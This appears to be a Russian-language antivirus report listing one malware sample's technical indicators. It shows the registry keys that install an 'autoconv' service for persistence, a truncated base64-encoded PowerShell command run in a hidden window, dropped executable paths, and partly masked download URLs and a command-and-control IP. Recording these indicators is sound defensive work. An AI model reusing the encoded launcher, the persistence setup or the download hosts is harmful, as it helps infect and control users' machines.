Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\autoconv] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\autoconv] 'ImagePath' = '"%WINDIR%\SysWOW64\sxstrace\autoconv.exe"'
- 'autoconv' "%WINDIR%\SysWOW64\sxstrace\autoconv.exe"
- 'autoconv' %WINDIR%\SysWOW64\sxstrace\autoconv.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABUADgAeAB1AG4AdQAyAD0AKAAoACcARgAnACsAJwB2AGYAJwApACsAJwBsACcAKwAoACcAYgAnACsAJwB5ADcAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAcAByAG8AZgBJAGwAZQ...
- %HOMEPATH%\lwfrhxu\nlfkw63\ukfj0bw.exe
- %WINDIR%\syswow64\sxstrace\autoconv.exe
- %HOMEPATH%\lwfrhxu\nlfkw63\ukfj0bw.exe в %WINDIR%\syswow64\sxstrace\autoconv.exe
- '17#.#13.69.136':80
- http://ve###no56.com/gjpra/4ZR/
- http://gi####ekdinners.com/wp-content/Hpz/
- http://17#.#13.69.136/YCgXFg6j0rscytV/dAtB99qxUE6/
- DNS ASK ve###no56.com
- DNS ASK gi####ekdinners.com
- '%HOMEPATH%\lwfrhxu\nlfkw63\ukfj0bw.exe'
- '%WINDIR%\syswow64\sxstrace\autoconv.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABUADgAeAB1AG4AdQAyAD0AKAAoACcARgAnACsAJwB2AGYAJwApACsAJwBsACcAKwAoACcAYgAnACsAJwB5ADcAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAcAByAG8AZgBJAGwAZQ...' (со скрытым окном)